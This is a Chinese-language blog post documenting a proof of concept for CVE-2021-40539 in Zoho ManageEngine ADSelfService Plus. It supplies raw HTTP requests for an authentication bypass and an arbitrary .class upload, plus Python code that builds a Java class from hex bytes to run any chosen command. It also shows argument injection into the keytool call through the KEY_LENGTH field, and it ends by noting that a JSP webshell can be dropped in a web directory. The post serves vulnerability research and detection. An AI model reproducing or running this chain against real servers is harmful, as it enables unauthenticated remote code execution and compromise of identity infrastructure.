Zoho ManageEngine ADSelfService Plus 从身份验证绕过到RCE(cve-2021-40539)

温馨提示:点击页面下方以展开或折叠目录~

Zoho ManageEngine ADSelfService Plus 从身份验证绕过到RCE(cve-2021-40539)

前段时间写poc时(pocsuite3)写这个东西花了不少时间,主要是本机环境和公开的漏洞环境好像有点不太一样(坑点在于同个版本,上传文件的路径居然不一样),而且有几个点感觉很好玩,于是记录一下

参考1: https://mp.weixin.qq.com/s/nGi7YfDI6g6b704PHzJlcw

参考2: https://github.com/synacktiv/CVE-2021-40539

代码层原理不说了,看参考1就行

验证步骤

  1. 认证绕过验证
  2. 上传java类文件
  3. 通过接口调用工具去执行上传的类文件
  4. 类文件可执行任意代码,我们令其写入文件到web目录下
  5. 访问web目录下的文件验证

0x00 认证绕过验证

1
2
3
4
# url
http://10.73.199.43:8888/./RestAPI/LogonCustomization
# post data
methodToCall=previewMobLogo

请求包如下

image-20220302105342325

1
2
3
4
5
6
7
8
9
10
11
POST /./RestAPI/LogonCustomization HTTP/1.1
Host: 10.73.199.43:8888
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 27

methodToCall=previewMobLogo

代码验证:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 身份验证绕过
def authorized_bypass_verify(self):
vul_path = "/./RestAPI/LogonCustomization"
vul_url = self.url + vul_path
postData = {"methodToCall": "previewMobLogo"}
session = requests.Session()
req = requests.Request(url=vul_url, data=postData, method='POST')
prep = req.prepare()
# 若不这么写,则requests库内置规则会把 /./RestAPI/ 优化为 /RestAPI,无法触发漏洞
prep.url = vul_url
resp = session.send(prep, verify=False)
if resp and resp.status_code == 200 and '<script type="text/javascript">var d = new Date();' in resp.text:
return True
return False

这里出现了第一个坑了我好久的地方,就是urllib3库会对url的点段进行处理,意思就是当我们访问http://ip/../../path时,urllib3会将其优化为http://ip/path,浏览器也是这么做的,这是为了符合RFC3986的规范,后来我给pocsuite3提了一个issue,他们也给我解释了这个原因,然后也feat了pocsuite3对url点段的处理,这个我打算另外写一篇文章说说

0x01 任意文件上传验证

1
2
3
4
5
6
7
8
9
10
11
# url
http://10.73.199.43:8888/./RestAPI/LogonCustomization
# post data
postData = {
"methodToCall": "unspecified",
"Save": "yes",
"form": "smartcard",
"operation": "Add"
}
# file data
file = {'CERTIFICATE_PATH': ('随机文件名.class', 文件内容)}

burp发送该请求后404是正常的

image-20220302162914224

请求包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
POST /./RestAPI/LogonCustomization HTTP/1.1
Host: 10.73.199.43:8888
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Content-Length: 539
Content-Type: multipart/form-data; boundary=d187865b4e0f1bf873369d29ad1c50f5
Connection: close

--d187865b4e0f1bf873369d29ad1c50f5
Content-Disposition: form-data; name="methodToCall"

unspecified
--d187865b4e0f1bf873369d29ad1c50f5
Content-Disposition: form-data; name="Save"

yes
--d187865b4e0f1bf873369d29ad1c50f5
Content-Disposition: form-data; name="form"

smartcard
--d187865b4e0f1bf873369d29ad1c50f5
Content-Disposition: form-data; name="operation"

Add
--d187865b4e0f1bf873369d29ad1c50f5
Content-Disposition: form-data; name="CERTIFICATE_PATH"; filename="qwe.txt"

abcde
--d187865b4e0f1bf873369d29ad1c50f5--

上传后的文件目录位于./ADSelfService Plus/bin

image-20220302164258931

0x02 命令执行验证

由于任意文件上传的目录是无法进行目录穿越的,而那个目录无法通过web访问,因此这里我觉得是这个洞最巧妙的一点,他使用了一个用来生成密钥对的工具来执行上传文件目录下的类文件,使其达到任意代码执行的目的

上传类文件

  • 产品自带jdk,版本为1.8u162,因此我们上传的类文件也要用对应版本的jdk编译,不够实际上只要大版本是jdk8就行了

    image-20220303112406003

上传的类文件由如下java代码编译

1
2
3
4
5
6
7
8
9
import java.io.*;
public class test3 {
static{
try{
Runtime rt = Runtime.getRuntime();
Process proc = rt.exec("cmd /c echo 随机字符串>..\\webapps\\adssp\\help\\admin-guide\\随机文件名.txt");
}catch (IOException e){}
}
}

实际上我们在写poc时,不可能每次都要编译个类文件,让python去读取后验证,所以我们需要提取出他的特征,如下图所示,两者的区别在于类名执行的命令不一样,其他二进制位都是相同的,因此我们可以通过只调整以下几项来达到从字节数组中获取可执行类文件的二进制流(以右图为例):

  1. java文件名长度(test.java长度为9)
  2. java文件名(test.java)
  3. 执行的命令长度(calc长度为4)
  4. 执行的命令(calc)
  5. 类名长度(test长度为4)
  6. 类名(test)

image-20220304200121451

代码表示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# getPayload方法的计算部分
def calc(self, calc_string):
len_str = len(calc_string)
# 长度格式化为两位十六进制
len_str_hex = '0' + hex(len_str)[2:] if len_str < 16 else hex(len_str)[2:]
# 字符串格式化为对应的十六进制,因为均为可见字符,所以不用做补位处理
str_hex = str(binascii.b2a_hex(calc_string.encode('utf-8')))[2:-1]
return len_str_hex, str_hex

# 获取payload
'''
payload为编译好的java类文件的十六进制表示
import java.io.*;
public class filename {
static{
try{
Runtime rt = Runtime.getRuntime();
Process proc = rt.exec("command");
}catch (IOException e){}
}
}
filename和command均为可变参数
'''
def getPayload(self, file_name, command):
len_filename_hex, filename_hex = self.calc(file_name)
source_file = file_name + ".java"
len_source_file_hex, source_file_hex = self.calc(source_file)
len_cmd_hex, cmd_hex = self.calc(command)
p = "cafebabe00000034001e0a000700110a001200130800140a001200150700160700170700180100063c696e69743e0100" \
"03282956010004436f646501000f4c696e654e756d6265725461626c650100083c636c696e69743e01000d537461636b" \
f"4d61705461626c6507001601000a536f7572636546696c650100{len_source_file_hex}{source_file_hex}" \
f"0c000800090700190c001a001b0100{len_cmd_hex}{cmd_hex}0c001c001d0100136a6176612f696f2f494f457863657074696f6e0100" \
f"{len_filename_hex}{filename_hex}0100106a6176612f6c616e672f4f626a6563740100116a6176612f6c616e672f52756e74696d" \
"6501000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b01000465786563010027" \
"284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b002100060007000000" \
"0000020001000800090001000a0000001d00010001000000052ab70001b100000001000b000000060001000000020008" \
"000c00090001000a000000490002000200000010b800024b2a1203b600044ca700044bb100010000000b000e00050002" \
"000b0000001200040000000500040006000b0007000f0008000d0000000700024e07000e000001000f000000020010 "
obj = bytearray(bytes.fromhex(p))
return obj

调用接口执行类文件

在使用url调用之前,可以先直接使用工具去执行(效果同通过url调用)

该url接口实际上就是调用了ADSelfService Plus\jre\bin下的keytools.exe去执行类文件,其中类名和目录都可以控制

1
keytool.exe  -J-Duser.language=en -genkey -alias tomcat -sigalg SHA256withRSA -keyalg RSA -keypass "null" -storePass "null" -keysize 123 -providerclass 类名 -providerpath 目录 -dName "CN=null, OU= null, O=null, L=null, S=null, C=null" -keystore ..\jre\bin\SelfService.keystore

以上命令行效果等同于以下请求

image-20220303105914372

请求包:

1
2
3
4
5
6
7
8
9
POST /./RestAPI/Connection HTTP/1.1
Host: 10.73.199.108:8888
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Content-Length: 113
Content-Type: application/x-www-form-urlencoded
Connection: close

methodToCall=openSSLTool&action=generateCSR&KEY_LENGTH=1024+-providerclass+test+-providerpath+%22..%5C..%5Cbin%22

代码参数如下

1
2
3
4
5
6
7
8
# url
http://10.73.199.43:8888/./RestAPI/Connection
# post data
postData = {
"methodToCall": "openSSLTool",
"action": "generateCSR",
"KEY_LENGTH": '1024 -providerclass test -providerpath "..\\bin"'
}

KEY_LENGTH参数说明:

  • -providerclass test中,test为(类)文件名,若上传的文件名为随机名,则需要修改
  • -providerpath "..\\bin"中,..\\bin为上传的类文件目录,大多数复现文章都使用绝对路径(默认安装路径)C:\ManageEngine\ADSelfService Plus\bin,不过我本机亲测可通过相对路径触发;
  • 然而在我本机环境,他这个接口的目录位于ADSelfService Plus\jre\bin,而上传文件目录位于ADSelfService Plus\bin,所以路径应该问..\\..\\bin
  • 因此添加了一个可能的路径列表file_path = ["..\\bin", "..\\..\\bin", "C:\\ManageEngine\\ADSelfService Plus\\bin"],使用时三个都试一下就行了

验证代码执行效果

我们上传的类文件执行的命令为cmd /c echo 随机字符串>..\\webapps\\adssp\\help\\admin-guide\\随机文件名.txt

url:

1
http://10.73.199.108:8888/help/admin-guide/文件名

其中..\\webapps\\adssp\\help\\admin-guide目录可通过路径http://10.73.199.108:8888/help/admin-guide/文件名直接访问,效果如下

image-20220303113354837

0x03 后利用姿势及总结

分析可控点:

  1. ./ADSelfService Plus/bin目录可上传任意文件,但不可通过web访问,不存在目录穿越
  2. http://ip/./RestAPI/Connection该路径可调用keytools.exe执行任意目录下的任意java类文件
  3. 由1和2得思路:上传类文件,再调用接口去执行
  4. ..\\webapps\\adssp\\help\\admin-guide目录可通过路径http://ip/help/admin-guide/文件名直接访问
  5. 由3和4得:执行的类文件可以将内容写入4的目录下,再去访问

注意点:

  1. jdk版本为1.8u162

  2. ..\\webapps\\adssp\\help\\admin-guide目录可解析jsp文件,意味着可以上传jsp马

    image-20220303114623368